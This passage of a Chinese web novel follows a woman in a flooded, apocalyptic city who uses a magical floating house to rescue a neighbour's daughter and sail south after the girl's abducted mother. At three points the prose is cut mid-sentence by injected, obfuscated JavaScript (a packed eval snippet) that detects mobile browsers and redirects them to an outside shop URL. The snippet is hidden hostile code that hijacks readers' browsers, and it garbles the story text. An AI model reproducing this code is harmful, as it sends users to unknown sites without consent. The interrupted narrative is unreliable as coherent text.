【若船长想收起漂流屋,只需扭动护栏门顶端圆顶,即可收起为吊坠形态。在确保吊坠位于船长身上后,凭意念即可打开或收起漂流屋。】 护栏门? 她左右看看,入眼只有被自己砸到几乎没有的甲板,并看不到护栏门。于是她穿过屋内走到另一头甲板,果然在护栏正中间的位置看到一个应该是门的东西。它的顶端,确实有一个小圆球形状的顶。 护栏上还亮着小屏幕,是熟悉的单词拼写填空,像是在提醒她:你把别的地方都拼好了,就差我了。 其实差的不止这一个。前面和后面的护栏加甲板,还有个似乎能连上屋顶的小旋转楼梯。但现在没时间管那些,她只需修好护栏、确保自己能收起漂流屋就行。 【rail_ngs】,前面的四个字母,是火车铁道的那个rail吗? 从字典上翻到了护栏的英文,railings。在空里填上i之后,护栏果然焕然一新,连圆球都变得光亮。她下意识抬手就去扭动护栏,扭动的瞬间突然心道糟糕。 她还在水上呢,这时收起漂流屋,自己岂不是要掉进水里? 但幸好,漂流屋没有消失,反而提示她: 【检测到漂流屋正位于水面,如此时收起,船长将跌落水中。是否确认收起?】 【是】【否】 还算漂流屋有良心,知道提醒自己。 选了【否】,她又闪回屋内,把防水袋里的水倒干净,装进些重要的东西:手机、手摇发电机、字典、甩棍。想了想,又拼出两瓶饮用水放进去,还把苏归雁之前给她的巧克力也放了进去。 然后她将拼写器和电弧枪放进裤子口袋,背好防水袋,重新来到前面甲板。 这里正对“码头”,她站在边缘,一手扶着护栏,另一手伸向码头边的临时缆绳,然后借力把漂流屋拉近。接着一脚踩在甲板上,另一脚踩在码头上,把重心都放在码头上的那只脚,然后扭动了护栏门的圆顶。 下一秒,她站在了码头上,而手上,是一条预想中的链子。链子尾端是个吊坠,但这回吊坠并不是缩微版的漂流屋,而是两个绿色字母FH,floatinghouse的缩写。在两个字母中间顶部,有一个小圆顶。 像二十多年前说唱歌手会戴的那种链子。 悄悄吐槽了下这略显微妙的审美,她戴上链子,顺着充气垫进入A塔内部。借着月光,可以勉强看出楼内的场景。 一片破败。 这里曾经是某个大公司的办公室,一眼望去至少大几千平米,但因为荒废多时,空间内只剩昏暗与湿冷。 还有大片大片的工位。 不是那种毫无隐私的大通铺,也不是逼仄的格子间,而是精心设计的舒适工位。每张桌子都是巨大的转角桌。 脑中立刻浮现出这里曾经的辉煌。那是互联网的黄金时代,公司无论大小,办公室都照着硅谷大公司来装。每个工位的桌面上至少两台显示器,还有可升降的笔记本架子,甚至干脆桌子本身就是可升降的,而且每个桌前,都要配上五位数价钱的人体工学椅。 似黄金牢笼。 如今无论显示器还是人体工学椅都早已不见,估计都被二手处理。只剩下无法转手的办公桌,还有桌上插线板、电源线的残骸。 牢笼已破,但人自由了吗? 不。现在不是感慨的时候。她甩掉脑中的情、思绪,开始找上楼的路。 从大办公室走出去,绕过logo剥落的前台,再小心经过一地被打碎的玻璃(这应该就是公司的正门),便来到了电梯厅。根据经验,电梯厅附近应该就是消防楼梯。 这里太黑了,她需要个手电筒,自己之前在漂流屋里拼出过的那种手电筒就行。可惜刚才没想到要装进包里带上。 然而下一秒,眼前凭空出现了一个手电筒,像全息投影那样。 伸手去摸那全息投影,在触摸到的瞬间,手电筒突然有了实质,她急忙张开手抓住,电筒稳稳地落在掌心。 这……好像正是她之前拼出的那个? 文字提示贴心出现: 【漂流屋收起时,甲板及屋内地板上的临时物品自动归入存储空间。当船长身处漂流屋内,或将漂流屋吊坠随身携带时,可凭意念随意存取。】 这空间居然是随身的!太方便了吧。 早知如此,她还背这防水袋干嘛?只要戴着漂流屋吊坠就行,什么东西都是“想到即得到”。 打开电筒,调成泛光模式,照亮眼前一整片区域,然后推开了消防楼梯间的门。她要向上走,刚才苏归雁的声音就是从楼上传来的,但具体在哪一层的什么位置,她只能靠自己找。因为从她收起漂流屋的那一刻起,她就再也没有听到小雁的声音。 她猜测,这个主动捕捉信息音的功能,在漂流屋收起时便不再起效。 本以为找人要花很长时间,可没想到,她很快便听到了楼道里女孩的大哭声,正是小雁。 三步并作两步赶到声音发出的位置,桑浔在看清状况后,脚下突然刹车。 苏归雁不是一个人。 她眼前有两个成年人,一个是不认识的中年女子,而另一个,是程媛。 冰冷蔓上身躯,桑浔的心沉到水底。 难道,程媛终究还是得逞了,把苏老师“交”给了那个她口中的朱姐? 不怪桑浔这样想,因为苏归雁也是这样想的,她死死拽着程媛的衣襟:“她昨天晚上就给我妈妈下了药,她是人贩子!阿姨你快点让警察把她抓起来,把我妈妈救回来。” 小雁口中的阿姨一脸为难:“孩子,不是阿姨不想帮你,现在这状况,警察也都忙着四处救人,谁还有余力抓人?而且你说她是人贩子,怎么可能呢?你又没有证据……” “人证算吗?我可以作证。”桑浔大踏步上前,来到三人所在的楼梯转角。 苏归雁认清她,激动得一把抱上来:“姐姐——我妈妈、我妈妈被人贩子抓走了,肯定是她干的……” 她蜷在桑浔怀里大哭,抖如筛子。桑浔觉得心脏都痛了,只能凭本能回抱住女孩。 但她很久没有抱过人了,两手不知该放在哪里,最终只能一手从背后环住女孩的肩,另一手抚上她脑后的头发。 这是陌生的触感,令她害怕,却也给她勇气。 她狠狠瞪向程媛,对方的眼里有畏惧,但并没退缩,反而有种不耐烦。 为什么是不耐烦? 没时间想这个,桑浔看向那陌生的中年女子:“我是小雁的邻居桑浔。请问您是?” “哦,我是街道办的黄主任。” 桑浔向她点头致意:“黄主任,我作证这个程媛昨天确实下药想要绑架小雁和她妈妈,我听到她和她男朋友密谋了,他们应该在外面还有同伙。程媛负责挑受害人,然后外面有人接应。” 程媛赶忙插嘴:“你别血口喷人啊!你不就是记恨我把出租屋的储藏室占了不给你用吗?在这儿造谣污蔑我。黄主任,您说说看这世上还有没有天理?我好心帮着给大家发放救援物资,偏就被这一大一小两个泼妇污蔑……” 黄主任赶紧制止她:“别说了别说了,你看这……”她看了眼桑浔和小雁,“小姑娘,你妈妈不见了,我可以带你找警察。但是吧,警察怕也没办法帮你找人,他们自己都没几艘能用的船。而且你开口就说是小程干的,真的不太好……” “就是啊!这全城发大水淹了十层楼,大家能不能活下去都不知道,谁有闲心干你说的那种事?退一万步说,就算真的有人想趁这时候干点什么,现在又没有手机信号,怎么跟外面的人接应啊?啊?你说啊!” 桑浔把小雁护在身后,正面迎上程媛的咄咄逼人。 她面上稳固如山,但心里有些动摇。 程媛说的不无道理。 更何况,桑浔亲眼见到过那艘极其硬核的黑色水陆两用装甲车,也听到了里面外国人的声音,知道他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482797|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去坤沙群岛。 这怎么想,都不是人贩子的路数。 但这不代表她立刻相信程媛。桑浔低下头,看着小雁的眼睛问道:“你说你妈妈被人抓走了,你知道是哪些人吗?为什么抓她?” 女孩的眼睛又涌出泪:“我不知道他们是什么人,也不知道为什么他们要抓我妈。我只知道他们都是外国人,有白人有黑人,长得都很壮。” 外国人,肤色不同,长得都很壮。再结合那装甲车,桑浔有种不好的预感。 难不成,是国外的军队?趁着大水的混乱,溜进了祖国领土内? “他们有几个人你记得吗?有听到他们说什么话吗?” 小雁吸了吸鼻子,想了几秒后说:“我不确定是三个还是四个,应该不超过五个。也没听到他们说什么。哦对了,他们中间打头的那个人是白头发。” 白头发?老人吗?国外的军队里会有老人吗? 她又问:“你还记得当时具体是什么情况吗?你和妈妈在做什么?那些人从哪里冒出来的?他们有没有伤到你?他们是专门冲你妈妈来的吗?” 女孩边想边说,终于帮桑浔拼凑出完整场景。原来在今天早上雨停之后,昌华Soho这个安置点就已经逐渐形成了秩序。有社区的人把大家按照街道来分区管理,食物和应急物资的发放也没有太大问题。于是到了下午,这里已经是一片集体室内露营的氛围。 在这样的气氛中,有人组织起给孩子们上课,还有人组织孩子们在晚餐之后一起活动。 苏归雁就是在和其他小朋友一起踢毽子的时候,余光看到远处的妈妈被几个人围起来。 她当场扔掉毽子朝妈妈跑去,正准备开口大喊,却被妈妈的目光制止了。 妈妈的目光穿越人群,极小幅度地摇头,示意她,不要发出声音,不要被这些人发现。 她害怕,她发抖,她控制不住地想要大叫。但她是妈妈的女儿,她本能地相信妈妈。 所以,她用双手紧紧捂住嘴,躲在人群之后,让自己尽量不被发现。 然后眼睁睁看着妈妈被那群人带走,消失在楼道处。而这一过程中,周围的人甚至都没有注意到有这样一群人出现过。 听完这些,桑浔的第一反应是,苏语到底是什么人?会成为这些人的目标? 那些人大概率是外国部队的,或者雇佣军。但不论哪种,都不至于深入他国带走一个普通的英语老师。 苏老师身上,有什么值得他们大动干戈的秘密吗? 问题很多,答案却完全没有。眼前的女孩又开始大把大把地抹眼泪,让桑浔的心都酸透了。 身体内有什么在撞击,想要冲出来,想要开口告诉女孩别怕、自己会帮她找到妈妈。 但头脑里有个声音在劝她,别冲动,要理智,那群外国人一定很危险,贸然前去找他们可能就是送死,何况也不一定能找到。不要轻易做出承诺,不要对别人的人生负责。没有谁有责任有义务帮助别人,哪怕对方是个孩子。在这慌乱且规则未知的末世,帮助别人,可能会害了自己。 这些道理她都懂,她非常清楚。 但,她做不到袖手旁观,做不到转身离去,留女孩独自一人在这世界哭泣、担心与思念。 自己经历过的事情,让她如何忍心看别人也经历一次? “姐姐,你怎么哭了?”小雁伸出手,用手背从她眼下轻轻抹过。 这才意识到,自己不知何时已经满脸湿润。 胡乱擦了把脸,她清了清嗓:“姐姐没事。小雁,姐姐带你去找妈妈好不好?你信我吗?” 女孩仰起头,连泪光都闪出希望:“真的吗姐姐?我信你!你带我走!” 桑浔看了眼黄主任:“主任,这个女孩我带走了。” “啊,这……”主任犹豫半晌,想到自己还要负责街道几千人的安置,真的没法再分出余力给女孩,最终只得答应。 桑浔向主任道谢,然后看向程媛,对方挺直肩背,迎向她的目光中竟没有太多畏惧。 “下次再见到你做恶,我不会手软。”她一字一顿道。 程媛深吸一口气,胸腔起伏:“下次你再血口喷人,我也不会手软。” 目光在空气中撞出火花。两人心里都明白,下次见面,桑浔不会让程媛再有作恶的机会。而程媛,也绝对不会让桑浔再挡自己的道。 只能是你死我活。 头也不回地下楼梯,桑浔拉着女孩朝她刚才停船的那层楼走去。 “姐姐,”女孩打了个哭嗝,问道,“我们怎么找妈妈?去哪里找船呀?” 桑浔压低声音:“姐姐有船。” 小雁瞪大眼睛:“真的吗?” “真的。但是,你得答应我一个秘密。” 女孩用力点头。 “你要发誓,绝对不告诉任何人关于我这艘船的事情。任何人,包括你妈妈。” 女孩压低声音虔诚地说:“我发誓!” 桑浔带她来到那充气垫做的临时码头,把手伸进上衣领子,扭动了吊坠上的圆环。 “那么,你就是我担任船长之后,迎来的第一位乘客。” 16. 止血 stopping the 漂流屋凭空出现在临时码头时,桑浔在苏归雁的眼里看到了惊讶、震撼、羡慕和崇拜。 月光下,木色与白色相间的漂流屋显得安静、安稳、安心,虽然面积很小,却比那些一半在水上、一半在水下的楼宇孤岛更有存在感。 女孩眼睛瞪得比月亮还大,想要把整艘船的样子都收入眼中:“姐姐,你是魔法师吗?为什么能变出一艘船?” 本打算坦言这是自己钓上来的字母盒变出来的,可桑浔突然想到,木筏在前一晚撤离之前就变出来了,而自己对苏家母女隐藏了木筏的存在,还占用了她们的一个桨板。如果让苏归雁想到这前后的时间线,难免因此心生芥蒂。 所以她含糊过去:“这是我今天得到的水上漂流屋,还不太会用。而且说来话长,等找到你妈妈,我慢慢讲给你听。” 说到最后一句时,突然有东西坠上额头,伸手一摸,是湿的。 在停了一个白天之后,雨在夜晚再次下起来。 “快,先上船再说。”她扶着护栏把手踩上甲板,返身向女孩伸出手。 踏上甲板的女孩一手握住桑浔伸来的温暖手掌,另一手挡在头顶上了船,然后跟着桑浔进入屋内。 “怎么又下起来了?哪儿来这么多雨水?”女孩不解。 因为,这不是普通的大雨,而是末世啊。 可她无法说出这句话,只能以叹气应对。 女孩也并不真的需要答案,她在门内站定,像个礼貌孩子进入别人家,在主人让她随意坐之前,绝对不会乱碰东西。 也没东西让她碰。因为桑浔发现,之前她变出的所有东西都不见了。不论是沙发、梯子、桌椅这类大件,还是牙刷牙膏这种小零碎。 屋里光秃秃,只有她之前靠单词拼写填空修好的墙、地板、门窗、天花板。 字面意义上的家徒四壁。 所以东西去哪儿了?都被收进存储空间了吗? 文字说明适时出现。 【欢迎船长登船。 当漂流屋收起时,屋内地板及甲板上的物品自动收入存储空间,除了被船长设置为屋内装修与装饰的物品。 是否开始设置屋内装修与装饰?】 还没想要不要现在开始设置,新的文字便在下方出现: 【检测到无敌意人员登船,请问需将该人员设置为[乘客]权限或[访客]权限?访客最多可在船上停留一小时,乘客停留时间无上限,直到船长取消其权限。】 意思是说,在激活船长模式之后,就算是乘客,也没有那20小时上限了? 再次心疼没有尽早完成船长挑战,白白经历一场恶战的自己。 选择了【乘客】权限,这几排字自动消失,只剩下刚才关于屋内装修与装饰的文字还留在眼前。桑浔还没想好选是或否,就听到苏归雁一声大叫。 “姐姐!怎么突然天亮了?” 原来,被开启了乘客权限的女孩,突然能看清屋内的状况了。 桑浔向她解释这是漂流屋的成像增强功能,不需要光源,在白天也能看清屋内和屋外100米的状况。 女孩闻言跑到窗外看向玻璃外侧,“真的诶姐姐,连外面都能看清楚。明明是黑夜,却看得特别清楚。” 桑浔也看向窗户,她同样看得很清楚:才不到一分钟的时间,外面的雨已经从零星的点连成了线,窗户被打出连贯的敲击声。 和前一晚的雨声很像,无情击打着玻璃,同时将整座城市蓄满水。 “姐姐,你说今晚水位会不会继续上涨?”小雁抬头看着窗外,浓黑的眸中映出雨线。 还能怎么回答?两人心中的答案怕是一样。如果今晚继续上涨,小雁之前待着的soho也不会安全。 想要驱散这消极的气氛,桑浔打起精神:“我们现在出发找你妈妈吧,你想不想看我操控这艘船?我下午刚学会的。” 女孩自然是想。桑浔开始向她介绍这个操控界面,但女孩一脸茫然。 “姐姐,你在对着空气讲吗?” 嗯?小雁看不到这个界面? “你能看到漂浮在空中的文字吗?”桑浔想到另一个东西。 女孩摇头,眼中是不可置信:“姐姐能看到漂浮的文字吗?” “我能的,你看,正好有新的文字出现了——” 【船长模式下,仅船长本人能与漂流屋沟通,乘客默认失去沟通权限,除非船长特意开启。是否开启当前乘客沟通权限?】 【是】【否】 【注:除非特殊情况,不建议为乘客开启沟通权限。】 啊,桑浔了然。 从善如流选择了【否】。想想也是,万一乘客也能和漂流屋交流,中间可能会生出很多麻烦。 “抱歉,这艘船似乎是跟我绑定了,只有我能看到这些。” 女孩倒是很快接受了这件事,然后注意力便回到最初登船的目的:“姐姐,我看不到没关系,你能看到就行。那我们开去哪里?你知道那群外国人去哪儿了吗?” 斟酌片刻,桑浔决定和盘托出。她先解释了漂流屋还有语音增强的功能,所以自己在碰巧与黑船擦肩而过时,听到了里面的人说话,似乎还谈到了他们要去的目的地。 “所以我们有两个选择。第一个选择是先往刚才他们消失的方向开,但能不能追上并不清楚。他们速度比我们快,在水上也不留痕迹,中途要是换方向了我们也不会知道。第二个选择——” 深吸一口气,她说出了一句看似胡闹的话:“我们可以赌一把,去他们说的那个地方。说不定会在那儿找到你妈妈。这两个方案,你倾向于哪个?” 把女孩拉进决策的过程,是桑浔下意识的举动。这是小雁的妈妈,小雁有权利对目的地给出意见,哪怕她还是个孩子。 小雁自己也很主动:“姐姐,我相信你听到的,我们就用第二个选择。你还记得他们说要去哪里吗?” 这就是桑浔不确定的地方了,她知道自己听到了什么,但听到的那个地方,没有道理外国人要带着苏老师去啊。 当然,外国人绑架苏老师这件事也没有任何道理。 或许小雁听到这地方,能猜到点原因?这样想着,她便说道:“我不确定自己听的对不对啊,但是他们说的好像是……坤沙群岛。” 一道闪电划过窗外,桑浔下意识缩头耸肩。 所以她漏看了女孩眼底掠过的一束闪烁。 闪电结束,桑浔重新站直,心里暗道自己还不如个孩子稳当,居然被闪电吓成这样。清了清嗓,继续问:“你知道坤沙吧?能猜到他们为什么去那儿吗?” 小雁遗憾摇头,然后又点头:“我知道,学校学过的,祖国最南端的领土。但是抱歉姐姐,我猜不到他们为什么去那边。会不会太远了?这艘船能到那么远的地方吗?” 桑浔忙安慰她不用想这些细节,船不论多远都能到,无非就是速度快慢,而且从明天开始,她会找找看提升速度的方法。 也就是完成升阶挑战,让船的速度上限加倍。 听她说完,小雁礼貌发问:“那,可不可以麻烦姐姐现在就设定好去那里的方向,然后用最快的速度赶过去?” 当然可以。桑浔抬起两手,把只有自己能看到的航海图缩小再缩小,找到坤沙所在的位置,然后选定,并且把速度调到最高。 正要收回手,胳膊突然被架住。 “姐姐别动!你这里有伤,好像什么东西扎进去了。” 是之前与抢船人搏斗,被扑倒在甲板上时留下的那个又深又长的玻璃碎片。 “一定特别疼吧姐姐,你怎么受伤的?”女孩泪眼汪汪,看得桑浔一下子心就软了。 不想让女孩听到那样惊心动魄的故事,同时也是懒得讲述那过程,她谎称是在soho楼内不小心摔倒扎上的。 “那怎么办?流了好多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482798|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血啊姐姐,感觉还在慢慢流,姐姐我们不如回去找医生吧。soho里面有帮人治伤的医生。” 寻母心切的女孩,为了她的伤,竟然愿意再折返回楼里。 有她这份心,就够了。 “不用,追上黑船要紧。姐姐有工具,小雁敢不敢帮姐姐把玻璃拔出来,然后帮我止血?” 雨越下越大,原本还能听出间隔的敲击玻璃声,此时变成大片喧哗。 而这喧哗之上,依稀能听见女孩压抑的啜泣。 “拜托,受伤的是我,你怎么还哭上了?”桑浔趴在她刚从存储空间取出来的沙发上,上衣后背的下摆卷起来,等待女孩帮她处理。 女孩从听到她说为了追黑船不返回去找医生开始,就一直在哭。甚至连桑浔变魔术一般从空间里掏沙发掏消毒用品,跟她讲存储空间有多神奇,都没能让她止住。 小雁一边抽泣,一边先用棉球蘸满碘伏,给镊子仔细消毒:“我就是觉得姐姐太好了,对我这么好,这么善良。但是我却没法帮你分担这个伤的疼……” “别这样说,更别这样想,咱们俩这是互相帮助。你记得我说的吧,玻璃拔出来之后,赶紧把这个棉条塞进去。姐姐可能会疼的乱叫,但你必须使劲塞,才能真的帮我止血啊。” 说完她又补充一句:“绝对不可以心软不用力啊。” “嗯、嗯、”女孩哭出了哭嗝,“我答应你姐姐,那我开始了。” 玻璃碎片被从身体里取出的疼,该怎么形容呢,就像拿刀戳进肉里,然后沿着伤口内壁再慢慢划出来。 超级疼。但不至于疼到失去理智,毕竟桑浔还有余力想像出刀戳肉的画面。 而塞棉条,她不光没有丝毫剩余的理智去感受,甚至差点疼得吐出来。 太可怕了,就像有人抱着点燃引线的炸弹,拼命往她伤口里塞,引线上的火苗烧过伤口内每一处嫩肉,炙烤、窒息感炸开,烧得胃里翻江倒海。 她一声不吭,不是因为忍得住,而是因为疼到失去了知觉。 等重新睁开眼,女孩的抽泣声还在继续,但伤口内的炸弹似乎熄火了。桑浔眨眨眼,等胃里的翻滚消退,才慢慢起身。 “别哭了,已经搞定啦。” 凭什么受伤的是她,却还得安慰小姑娘啊。 被安慰的小姑娘心疼地看着她:“姐姐,我刚才做的还行吗?” “做的很好哦,谢谢你。” 太好了,好到有做S的潜质。 等女孩拿纱布和胶带把伤口盖住,桑浔放下衣服,重新站起来。漂流屋已经设定好了目标与速度,伤口也处理好,两人突然无事可做,此时竟觉出一分尴尬。 她这才生出实感,自己居然拉了个接近陌生人的小孩上了船,而且看样子,两人要一起在船上待很久。 后悔也来不及了,她又不可能把女孩中途扔下去。虽然是末世,但这毕竟不是你死我活的世界,多一个室友,最多只是多一分不自在而已,却可以保住一条生命。 两人各怀心事,都没什么胃口吃东西,桑浔侧躺在沙发的一头,小雁靠在另一头,有一搭没一搭地聊着,渐渐睡着。 半夜,雨有所减缓,玻璃上的噪音变淡。和不久前的轰鸣相比,甚至生出一丝宁静。 仿佛这只是一场普通的夜雨。仿佛两人只是身在一艘普通的观光船上,在夜游中入梦,在梦中逐渐驶离昌市。 一双眼睛悄然睁开。 苏归雁看着窗外,虽然有漂流屋的视觉增强,但因为离开了城市,视线里只有灰白的夜空,看不到零星的高楼,也看不到月光,无法辨别方向。 可她知道,自己正在朝坤沙群岛靠近。 坤沙,竟然是那个地方,难道…… 脑中再次浮现出母亲被带走时的场景,女孩闭上眼,泪水再次滑落。 双唇微启,发出几不可闻的声音: “是因为你吗……爸爸。” 17. 模拟人生 The Sims 阳光透过玻璃照在脸上,烘出一层细小绒毛,绒毛之间,隐约可见汗珠渗出。 这不是被太阳晒出的汗。这是冷汗。 桑浔正被噩梦困住。 不是什么恐怖噩梦,但绝不是美梦。她梦到苏归雁不知怎么,得知了自己在大雨刚开始的傍晚就得到了字母盒,变出了木筏。知晓这件事的女孩倒也没有生气,只是看着她,幽幽地说: “如果姐姐当时让我和妈妈上木筏,我妈妈就不会被人抓走了。” 桑浔想要开口解释,说自己不是有意隐瞒,只是出于末世下自保的本能。但无论她怎么努力,就是张不开嘴。 直到她睁开眼。 自己以一个奇怪的姿势躺在沙发角落,脸埋在坐垫和扶手的夹脚缝隙,嘴巴正好被压着。 抬起手,把自己撑起的瞬间,身体两个地方同时传来剧烈疼痛。一是脖子,睡落枕了。二是后腰被棉条塞着的伤口处。 龇牙咧嘴地慢慢坐起,桑浔扭头看向沙发另一角。 那里躺着个还在上小学的女孩。女孩小嘴撅着,身体蜷成个不舒服的姿势,但睡得很沉。 心里叹口气,自己怎么就头脑发热,主动揽下了这么大个责任?且不说能不能带她找到母亲,单是这一路能否照顾好小女孩,她心里就完全没有底。 更何况,想到那个不愉快的梦,她心生犹豫。关于这件漂流屋,要不要告诉女孩更多的细节?比如拼写器,比如升级和升阶。 如果告诉她,女孩能否保守秘密?会不会因为她对外说漏嘴导致漂流屋被更多人觊觎? 如果不告诉她……两人至少要朝夕相处好几天,她在这段时间内,肯定会用到拼写器,肯定要做升阶挑战,能瞒得过女孩的眼睛吗? 她一边犯愁,一边拿着字典和拼写器,尽量不出声地打开门,去甲板上洗漱。 可刚走上甲板,她便被四周的景象惊到了。 眼前只有大片的水,看不到楼,看不到山,看不到任何东西。只有水。像置身于一个全新的星球,她以前所知道的那颗地球,已经不见了。 赶紧调出航海图查看当前位置,这里是离昌市南边几百公里外、另一个省的省会,她以前出差来过这里,曾经在工作间隙走马观花地看过这里的几千年历史遗迹。 此时都已沉入水底。 阳光倒是很好。连着一天两夜,雨在夜晚下起,天亮时停止。就像给人类一些缓冲的时间,白天可以想办法造出漂浮物寻找高地,夜晚在高地躲雨。 经过昨夜,水位不仅没降低,恐怕还多出不少吧。 可除了唉声叹气和忧国忧民,她也没有别的方法来阻止大水的进程。多想无益,她还是走一步算一步吧。 眼下的第一步,就是拼出洗漱用的东西。 虽然四面环水,但她不打算直接用这些看着就不干净的水。她要自己拼出个洗脸池,然后再拼出干净的水来。 洗脸池字典上有,sink,但在漂流屋上用,不能直接拼sink,因为没有上下水管道。她需要的,是那种不需要接上下水、露营用的洗脸池。 一个英文词跳入脑中,是前一天在赶100词时留心过的,portable,便携的。 于是她试了下,portablesink,便携洗脸池。 甲板上出现一个水池般的物品,很简陋,主体是个白色立式塑料支架,支架下方有个同色系塑料水箱放在地上,上方是同色系可折叠长方形盆。盆的上方有一个支出来的架子可以挂毛巾,盆子边缘夹着一个银色细水龙头,而水龙头通过水管与下方的塑料水箱相连。 仔细一看,这水箱上还有一个脚踩踏板,应该是通过踩踏板,把水送上水龙头。 至于下水,则是直接通过一根水盆底部的软管,流到地上。 拼出一瓶水,倒进下方的水箱里,然后开始踩踏板。第一下,没反应,第二下、第三下,终于有水从细龙头流出。 从空间内取出之前拼好的牙膏牙刷牙缸,刷完牙,洗完脸,又拼出毛巾和面霜擦干涂好,然后把毛巾挂好,其它东西在水池边缘紧凑摆好。 推门回到房间,正从沙发上站起的苏归雁闻声看过来。 “姐姐早。”女孩笑着问好。 桑浔心里咯噔了一下,但很快回以同样的笑容:“早啊,你要洗漱吗?外面有洗脸池,我可以给你个毛巾和牙刷。” 女孩当然是要的,但比起刷牙,她更关心一件事。 “姐姐,我昨天晚上没有仔细看,你能凭空变出东西来对不对?” 来了,她担心的事情。 苏归雁说的是昨晚桑浔从存储空间内取物品出来的事。那时的她情绪不稳定,哪怕是看到凭空出现的沙发,也没有很捧场。 现在情绪稳定了些,好奇心自然起来。 桑浔和她解释了存储空间的概念,在解释的过程中,之前的担心仿佛被稀释了一些。犹豫了几秒,终于还是告诉她,除了存储空间,还有另一个同样厉害的金手指。 “真的吗?姐姐有这么多金手指?” 她将拼写器递给女孩:“试试看?” 女孩接过,翻来覆去看过摸过,屏幕却一直黑着,便奇怪道:“姐姐,这个东西是没电了吗?” 不应该啊。桑浔把拼写器拿回来,一到自己手上,屏幕自动亮起,一个闪烁的光标正等着她输入新单词。 哦,突然想起来,这东西好像是跟船长的面容与指纹锁定的。她略带歉意看向小雁,女孩却并不在意:“这个机器好像只认姐姐诶,好神奇。它能干什么?” 能干好多事哦,比如——“小雁,肚子饿不饿,有什么想吃的?” “三明治!我妈妈每天早上都会给我做各种口味的三明……” 话说到一半,声音便低了下去。想到妈妈,女孩又难过起来。 桑浔也被感染,消沉了两秒,但,她是这个屋子内唯一的成年人,她有责任照顾好未成年人。 于是她先从存储空间里取出之前拼好的桌椅,摊开字典查到了三明治的拼写sandwich,然后让女孩看她在拼写器上的操作。 【egghamsandwich】,鸡蛋火腿三明治。 女孩边看她拼边念出声,念完最后一个音,桌上立刻出现了一份三明治。 “尝尝看味道怎么样?”她把食物递给惊掉了下巴的女孩。 小雁的嘴仍然大张着,但两手还知道接过三明治,送进嘴里。机械的嚼了两下,突然眼睛亮起,“唔唔”点头。 好吃的意思。 桑浔给自己也拼了一个出来——只不过还是得看字典,因为她没记住sandwich的拼写——咬下去,味道真的不错,煎蛋香配上火腿的咸,是令人熟悉的朴素美味。就好像拼写器背后藏着个真人厨师,收到指令后立即现做出来一样。 小雁一边大嚼特嚼,一边细问这拼写器的来头。桑浔只能笼统的说这东西是和漂流屋一起被她捡到的,可以拼出大部分物品,但像杀伤性武器,或者生命这类的,没法拼出来。 “哇,那不是和我小时候看过的一个动画片很像?几个字母组成单词,然后就能变出那个单词的东西。” 嗯……说不定这东西的灵感真是来自那动画片? 吃完东西的小雁脸色变得有些奇怪:“不好意思姐姐……可不可以麻烦你,变出一个马桶来?” 桑浔这才意识到,自己也需要上厕所了,她赶忙从空间里取出之前拼好的便携马桶和塑料袋,告诉女孩使用方式,然后留她一人在屋内解决,自己抱着字典和拼写器去了甲板上。 两个人住的话,需要将漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482799|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流屋改造一下,让她们各自都有空间,不至于一人做什么隐私的事情,另一人只能站在外面。 正这样想着,前一晚被她忽视的文字说明再次上线。 【是否开始设置屋内装修与装饰?】 Whynot?船的航向与速度已经设置好,基本就是自动驾驶,她正好也没有别的事情可做。 女孩正好也解决了自己的事情,出来甲板上用水池洗手。桑浔来了兴致:“小雁,洗漱完之后,想不想用这个拼写器,帮姐姐装修这艘船?” 谁会不喜欢装修房子? 以前上学时,桑浔最爱玩的游戏就是古早游戏模拟人生,尤其是造房子搞装修。她曾暗下决心,等将来工作挣出自己的家,一定要把在游戏里掌握的装修经验和审美好好应用到现实中。 可惜工作之后,她的收入只够租单独的小房间,而且碍于合同限制,没法做任何装修的动作。现在完美的机会送到眼前,而且不用担心预算,她必然要大干一场。 至于苏归雁,或许筑巢是生物的本能,所以就算是小孩儿,听到装修也跃跃欲试。于是她很快完成刷牙洗脸,兴奋地与桑浔开工。 第一步,先确认整个漂流屋的构造。 屋内面积大概有20多平米,接近5米x5米的正方形。前后两面墙各有扇门,侧边两面墙中央各有扇窗。 两扇窗外就是漂流屋的侧边,直接临水。而两个门通向的前后甲板,有一边已经被她在和那群抢船男人的对战中砸得几乎不剩。 所以,要先修复甲板。 甲板上的小屏幕还在契而不舍地闪着,没有放弃,桑浔甚至都有点感动。 【d_ck】。她查了字典,deck,甲板。 填上字母e的一瞬间,甲板恢复如初。而对应的护栏【railings】,因为有刚才修复另一边的经历,也让她很快填写好。 修复后的甲板至少有两米宽,光亮如新。这时甲板旁从屋顶垂下来的楼梯,终于变得显眼。 